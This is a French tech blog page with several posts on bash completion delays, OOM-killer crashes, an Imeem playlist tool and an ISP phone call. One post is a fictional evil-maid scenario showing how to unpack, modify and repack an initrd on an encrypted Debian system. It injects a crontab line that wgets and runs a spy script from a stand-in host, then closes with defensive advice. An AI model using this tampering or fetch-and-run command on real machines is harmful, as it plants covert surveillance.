devloop :: blog

Vous avez peut-être remarqué que lorsque vous tapez une mauvaise commande sous Bash (commande inexistante, introuvable...), il se passe un temps anormalement long avant que le message "command not found" soit affiché
Par exemple si je tape "kpdp" (qui n'existe pas) ou "sar" (non-installé sur mon système), j'obtiens les temps d'attente suivant :

> time kpdp
bash: kpdp: command not found

real    0m0.755s
user    0m0.596s
sys     0m0.096s
> time sar

The program 'sar' can be found in the following package:
  * sysstat [ path: /usr/bin/sar, repository: zypp (repo-oss) ]

Try installing with: sudo zypper install sysstat

bash: sar: command not found

real    0m0.807s
user    0m0.584s
sys     0m0.112s

Ce délais d'attente est dû à la présence de scripts de complétement avancés qui s'exécutent si la commande n'a pas été trouvée.
La complétion est très utile et omniprésente sous Bash. On peut obtenir une liste des complétements effectués avec la commande suivante :

complete -p

On verra par exemple "complete -u su" qui indique à Bash de proposer des noms d'utilisateurs en argument de la commande su.
On peut aussi trouver "complete -o filenames -d -X '.[^./]*' -F _exp_ bunzip2" qui indique d'appeller une fonction baptisée _exp_ définie dans le fichier /etc/profile.d/complete.bash pour générer une liste d'arguments à bunzip2 (la fonction _exp_ liste les fichiers en fonction de leur extension, les fichiers .bz2 sont renvoyés si la commande appelante est bunzip2)
Pour plus détails, aller sur la page de manuel de bash(1) et sur la section concernant complete.

Dans notre cas, ce qui pose problème c'est les lignes suivantes (ici en gras) dans le fichier /etc/bash.bashrc :

# Expert mode: if we find $HOME/.bash.expert we skip our settings
# used for interactive completion and read in the expert file.
#
if test "$is" = "bash" -a -r $HOME/.bash.expert ; then
  . $HOME/.bash.expert
elif test "$is" = "bash" ; then
  # Complete builtin of the bash 2.0 and higher
  case "$BASH_VERSION" in
  [2-9].*)
    (...)
    for s in /etc/bash_completion.d/*.sh ; do
      test -r $s && . $s
    done
    if test -f /etc/bash_command_not_found ; then
      . /etc/bash_command_not_found
    fi
  ;;

Le fichier /etc/bash_command_not_found contient une fonction qui appelle un script python qui fouille dans les bases rpm pour essayer de trouver à quel package correspond la commande tapée.
Pour empêcher cela, une solution propre est de créer un fichier vide .bash.expert dans son dossier personnel (home directory).
L'appel de commandes inexistantes est alors bien plus rapide :

> time kpdp
bash: kpdp: command not found

real    0m0.001s
user    0m0.000s
sys     0m0.004s
> time sar
bash: sar: command not found

real    0m0.001s
user    0m0.000s
sys     0m0.000s

PS: on peut aussi supprimer le paquet command-not-found depuis zypper ou rpm ce qui est encore mieux

Introduction dramatique

A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les mesures techniques proposées par le gouvernement arguant quelles sont inefficaces, onéreuses et difficiles à mettre en place... C'est souvent le cas
Mais j'évite de participer aux discussions enflamées sur les forums où chacun y va de sa contre mesure technique... c'est souvent les moins informés qui s'y expriment le plus
Si vous avez fait un tour chez un libraire ces derniers temps, vous avez dû remarquer qu'une certaine presse (les magazines sur lesquels on voit une bourrique ou un drapeau noir) joue aussi le jeu à fond et la page de couverture titre à peu près "Toutes les astuces pour pas se faire gauler !"

Avec la LOPSI 2, le phénomène est exactement le même. Un peu partout sur le web vous lirez que pour empècher l'insertion du fameux mouchard il suffit de chiffrer son disque.
Mais qu'en est-il réellement ?

Scénario improbable

José est un terroriste.
C'est du moins ce que certaines personnes pensent, tellement il est de gauche, tellement il porte la moustache, tellement il est agriculteur, tellement il va pas au MacDo...
En plus il est anti-capitaliste au point de ne pas utiliser un système Microsoft !! C'est sûr, José et un homme dangereux.

D'ailleurs il a installé une Debian Lenny en utilisant les options permettant de chiffrer l'ensemble de ses données.

Le ministre de l'intérieur a décidé que ce serait bien d'avoir un oeil sur ses communications. Malheureusement José communique avec GPG. De plus une exploitation distante pour pénétrer son ordinateur a peu de chances de réussir car il utilise OpenOffice et met régulièrement son système à jour.

C'est pour cela que le GIPM (Groupe d'Intervention de Pose de Mouchard) s'est vu remettre l'opération.
Mais une fois qu'ils ont obtenu un accès physique à l'ordinateur, le GIPM (mené par l'inspecteur Coudrier) s'aperçoivent que le disque est chiffré !!
L'inspecteur Coudrier trouvera t-il une astuce ? José ira t-il à Quick à défaut de MacDo ?

Chapitre II

Coudrier ne s'avoue pas vaincu. Il a pris soin d'éplucher le manuel d'installation Debian et s'est attardé sur la partie concernant le chiffrement.
A priori ce n'est pas gagné : le disque est préalablement effacé et les données ensuite chiffrés avec des algorithmes solides. Pourtant il a remarqué un détail dans l'article :

Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.

En effet, depuis sa vieille galette KnoppixSTD qu'il a lancé sur l'ordinateur, Coudrier a remarqué deux entrées dans /etc/fstab.
La première est la partition /dev/hda1 montée sur /boot au format ext2, de petite taille.
La seconde (/dev/hda2) est marquée de format auto. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire "LUKS aes cbc-essiv:sha256 sha1".

Coudrier monte la partition /boot et liste son contenu : un dossier grub et lost+found ainsi que des fichiers config-2.6.26-2-686, initrd.img-2.6.26-2-686, System.map-2.6.26-2-686 et vmlinuz-2.6.26-2-686.
L'inspecteur n'ayant aucune connaissance en virologie, il laisse de côté le fichier vmlinuz-2.6.26-2-686 et commence à s'intéresser au fichier initrd.img-2.6.26-2-686

Ce fichier pèse 7Mo et est compressé par gzip. Coudrier le copie sur sa clé USB, le décompresse et obtient une archive au format cpio.

$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz
$ cd /mnt/usbkey
$ gunzip initrd.gz
$ file initrd
initrd: ASCII cpio archive (SVR4 with no CRC)

Une recherche sur Google depuis une autre machine l'amène à une page sur les étapes du boot Linux et une autre sur la manipulation d'un fichier initrd.

Avec la première page, il apprend que la partition racine est montée après le lancement de initrd. Pourtant dans la section initrd on peut lire "'real' root is mounted"... étrange.
L'inspecteur n'a pas toute la journée : il tente sa chance.

En listant le contenu du initrd (cpio -itv < initrd) il observe des fichiers qui ne lui sont pas utiles comme des modules kernel ou des binaires statiques et strippés.
Il y a aussi un dossier "scripts" dont le contenu est le suivant :

scripts/nfs
scripts/local
scripts/init-premount
scripts/init-premount/udev
scripts/init-premount/blacklist
scripts/init-premount/thermal
scripts/local-top
scripts/local-top/lvm2
scripts/local-top/cryptopensc
scripts/local-top/lvm
scripts/local-top/cryptroot
scripts/local-bottom
scripts/local-bottom/cryptopensc
scripts/local-premount
scripts/local-premount/resume
scripts/init-top
scripts/init-top/keymap
scripts/init-top/framebuffer
scripts/init-top/all_generic_ide
scripts/functions
scripts/init-bottom
scripts/init-bottom/udev

Il décide d'approfondir et extrait (cpio -iv < initrd) les fichiers de l'archive cpio. Dans le fichier scripts/local il trouve une fonction baptisée "mountroot" qui contient la ligne suivante :

mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}

Il décide d'ajouter juste derrière la ligne

echo "0 * * * *  root  cd /dev/shm && wget http://lopsi.interieur.gov/mouchard.sh && chmod +x mouchard.sh && ./mouchard.sh" > ${rootmnt}/etc/crontab

Coudrier regénère l'archive cpio avec ses modifications (find * | cpio -o -H newc > ../new_initrd) et la recompresse (gzip -9 new_initrd) avant d'écraser l'ancienne version.
Il lance un sync, démonte les partions, retire sa galette et éteint la machine. Mission accomplished

Fin

Au prochain démarrage de son ordinateur, José rentre sa passphrase qui lui permet de déchiffrer les disques. Il ne sait pas qu'il a malgré lui permis à la commande de Coudrier de s'exécuter sur la partition tout juste déchiffrée...

Conclusion

Bien que très efficace, le système de chiffrement de disque a quelques lacunes puisqu'un programme peut être injecté sur la partition /boot pour s'exécuter une fois que vous aurez autorisé le déchiffrement des partitions.
Pour se protéger d'une telle attaque il faudrait désactiver le boot sur périphériques CD ou USB dans le bios et protéger ce dernier par un mot de passe. Un cadenas physique empéchant le retrait du disque ou le vidage de la mémoire BIOS est aussi important.

Notes

Comme indiqué dans cette fiction-réalité, j'ai effectué mes tests sur une Debian Lenny en sélectionnant le chiffrement total dans l'installeur.
Les commandes que l'on peut insérer dans les scripts extrait du initrd sont limitées aux commandes du shell ainsi qu'aux exécutables (peu nombreux) présents dans l'archive. Impossible donc d'y lancer directement un programme comme wget.
La commande que j'ai injecté durant mes tests créait uniquement un fichier dans /etc que l'on retrouvait une fois loggé sur le système et après avoir saisi la passphrase. L'entrée crontab de l'article est juste là pour faire plus l33t

J'ai beau aimer Linux et dire régulièrement du mal de Windows (la gestion des fenêtres est tout simplement exaspérante face à un bon KDE), j'admets tout de même volontier que Linux est aussi sujet à des plantages.
MAIS quand ça survient sous Linux, on se dit qu'il y a une bonne raison et que surtout il y a une façon de trouver quelle en est la cause et d'agir pour que ça ne se reproduise plus. C'est tout l'avantage d'un système open-source face à un système propriétaire où l'on peut juste... subir et espérer que les devs découvrent puis décident finalement de corriger le problème

Je ne sais plus exactement depuis combien de temps j'ai ce souci mais ça fait un bail... en fait probablement depuis que j'ai Shirley
Le symptôme est toujours le même : tout d'un coup le disque dur se met à gratter et les commandes ne répondent plus. Seul le curseur de la souris est d'accord pour réagir (par intermittence). Si on est suffisamment rapide (c'est rare), on peut parvenir à fermer les applications et éviter le pire.
Le pire (qui est tout de même loin d'être l'enfer mais très énervant) c'est que le système reste inutilisable et gratte pendant un bon moment. Ca peut durer jusqu'à une demi-heure dans mon cas.
Ce comportement est typique d'un programme quelconque qui explose son utilisation mémoire et, une fois la RAM complètement utilisée, s'attaque à la SWAP (d'où l'utilisation intensive du disque dur)

Si on est patient, tout se termine "bien". Le kernel s'est chargé de tuer toutes applications graphiques, le WM et Xorg inclus (bref la crémerie avec la crémière et ses yaourts) et on est bon pour se relogger.
Quelques minutes plus tôt on s'acharnait à faire des Ctrl+Alt+F1 dans l'espoir de pouvoir régler nous même le problème.

Il est très difficile de déterminer quel programme est à l'origine du plantage... surtout quand on a toujours les même programmes ouverts
Longtemps j'ai soupçonné le "operapluginwrap" qui est le programme qui gère les plugins sous Opera. Son utilisation du CPU grimpe en flèche dès que l'on tombe sur du Flash (d'où l'utilité d'un FlashBlocker pour limiter les dégats).

Au même titre, j'ai soupçonné Vuze (client BitTorrent développé en Java), ce qui m'a poussé à passer à Deluge récemment.
Mais si on suit la logique, le souci pourrait aussi bien être lié à Firefox (souvent ouvert aussi) ou des daemons (mysqld, apache, tor...)

Malgré le passage à Deluge, le souci est réapparu. Je suis donc allé fouiller dans les logs
La dernière fois j'avais vu des appels à un programme nommé "kwin_killer_helper", sorte de soupape de sécurité de KDE qui tente de fermer des programmes quand ça part en sucettes... seulement son action a l'air peut efficace est surtout l'application n'est pas configurable

Cette fois j'ai remarqué des références à "oom-killer". Il agit de la même façon que kwin_killer_helper mais au niveau du noyau.
Le problème c'est qu'il semble reporter seulement le programme qui fait déborder le vase or ce n'est pas forcément celui qui s'est chargé de le remplir à 99%... toutefois en faisant des statistiques, on peut en déduire les programmes qui sont plus gourmants que les autres.

Ainsi un grep sur /var/log/messages me donne 9 "java invoked oom-killer", 1 pour opera, 1 pour policykit-kde et le dernier en date pour klipper
Le bon côté c'est qu'en abandonnant Vuze le problème apparait moins souvent mais il reste toujours présent

Si je regarde dans les logs plus anciens (archivés par logrotate), on retrouve java mais sont aussi mis en cause hald-addon-stor et mysqld

Si on effectue des recherches sur Google, on retrouve tous un tas de programmes variés qui ont "invoqué" oom-killer dont certains sont réputés stables.
Le souci semble donc venir d'ailleurs.

Pour certains, le souci est lié à la taille de la SWAP... il faudrait qu'elle soit au moins de la taille de la RAM. Je ne dirais pas que je n'y crois pas une seconde... mais presque (va pour deux secondes d'incrédulité )
Pour d'autres là (et sans doute plus fiables) et ici, ce serait lié à l'utilisation d'un système 32bits avec une machine 64bits (ce qui est mon cas).
Je vais probablement suivre la seconde possibilité mais je ne compte pas réinstaller mon système pour le moment (j'attends la version 11.2 d'openSUSE)

Pour le moment j'ai vu ici que chaque processus a dans /proc/ des fichiers oom_adj et oom_score dont il serait peut-être bon de connaître l'utilité
Et enfin un comique a enregistré le domaine oomkill.net sur lequel ont peut lire le boût de kernel correspondant à ce tueur de gaspilleurs de mémoire (oom = "Out Of Memory")

Après l'implémentation de l'API officielle de Imeem.com puis de son API cryptographique, je boucle (normalement) la série avec un code qui permettra de lire les flux FLV depuis votre lecteur multimédia favori pour peu qu'il supporte le format XSPF (qu'Amarok et VLC semblent utiliser par défaut).

Avant de m'y mettre, j'aurais passé pas mal de temps à faire un script capable de détecter les tags mal encodés sur Imeem et de les corriger.
Typiquement on retrouve soit des données en UTF-8 qui semblent avoir été avalées comme du ISO-8859-1 (dans ce cas on a deux caractères originaux pour le prix d'un seul) ou un tag ISO-8859-1 interprété comme du UTF-8 avec le caractère de remplacement unicode à la place des accents

Dans le premier cas il suffisait (après un arrachage de cheveux) de récupérer les tags mal codés en UTF-8, les réencoder comme si c'était de l'ISO-8859-1 et les renvoyer sur le serveur.
Pour le second cas, comme il est impossible de retrouver l'accent original, on demande la saisie au clavier du bon tag et on l'envoit pour modification au serveur
Voir le fichier correct_unicode.py dans l'archive.

Pour la lecture des flux je n'avais pas envie de m'embêter à faire mon propre frontend à mplayer comme pour Anywhere.FM surtout que rajouter des modules (soumission Last.FM, changement de status sur la messagerie...) ça rajoute du boulot
La solution a consisté à faire un programme qui extrait une librairie personelle de Imeem.com et l'enregistre sous la forme d'une liste de lecture au format XSPF
Le résultat est plutôt agréable car ce format de playlist intégre les méta-informations (album, titre de la piste, nom de l'artiste, durée, url de la vignette de l'album, url d'information...). Amarok n'a pas eu l'air d'être complètement au point sur ce format lors de mes tests mais VLC fonctionne parfaitement avec.
Il existe même une extension VLC du format XSPF pour ceux qui voudraient faire des modifications.

Dernier problème : les urls des flux FLV sont à usage unique. Dans la playlist XSPF on retrouve alors des adresses de flux du style "http://localhost:3128/sBrCXnRPUt" avec l'ID de la chanson comme page demandée. J'ai écris un mini serveur HTTP qui se charge de générer une url vers le FLV correspondant et qui répond avec un HTTP 302 (Moved temporarily) quand le lecteur va chercher la musique



L'archive avec les nouveaux codes est ici : imeem_xspf.zip

Il y a moins d'une heure, j'ai recu un appel de prospection téléphonique de mon FAI (pour ne pas le nommer je ferai référence à lui par le numéro "9" ) qui m'a un peu surpris... plutôt par sa tournure que par sa finalité (quoique on sait jamais...)

En gros je recois l'appel d'une personne (probablement payée peau de zob mais c'est une autre histoire) qui m'informe que depuis quelques temps ma bande passante semble bien encombrée et qu'il s'inquiète pour mon (ou mes) système(s) informatique et que j'aurais pû être la victime d'attaques malicieuses (voire, qui sait, maquiavéliques ).
Pour bonne preuve de sa cyber-empathie, il s'enquiert de ma santé informatique en me demandant sous quels systèmes mes ordinateurs fonctionnent. En toute franchise je lui répond que je suis sous Linux. "Tous ?" réplique-t-il. Effectivement tous mes systèmes sont sous Linux. Il n'y a aucun irréductible depuis la mort très récente d'Alice, ma première UC, dont la carte mère a rendue l'âme sans même prévenir
Sur ce il a rétorqué qu'effectivement j'étais en "pleine sécurité" et a fait ses salutations.

Chose amusante, la communication téléphonique était pour le moins hachée car j'étais (et suis toujours à l'heure de ces lignes) en train de bourriner sous BitTorrent pour télécharger le DVD de la dernière version d'openSUSE

Quoiqu'il en soit, je trouve choquant le fait de contacter systèmatiquement les clients dont l'utilisation des "tuyaux du net" a pû augmenter et d'aller leur poser des questions louches (lobbyistes ?) pour essayer de déterminer le pourquoi du changement.
Que ce soit une démarche commerciale pour vendre des packs de sécurité compatibles crosoft ou une démarche gouvernementale pour mettre l'Internet en boîte, dans tous les cas ça me semble être une atteinte à la vie privée.
Qu'ils spamment équitablement leurs clients, sans distinction de taille de tuyau ou de couleur et de longueur de cable réseau (pas de discrimination), ça ne me dérange pas. Mais qu'ils se basent sur des données personnelles (même si ce n'est que pour en déterminer un volume), je trouve ça indécent.
Non mais, qu'ils s'occupent de leur fesses !!

Sur ce, j'ai un système à mettre à jour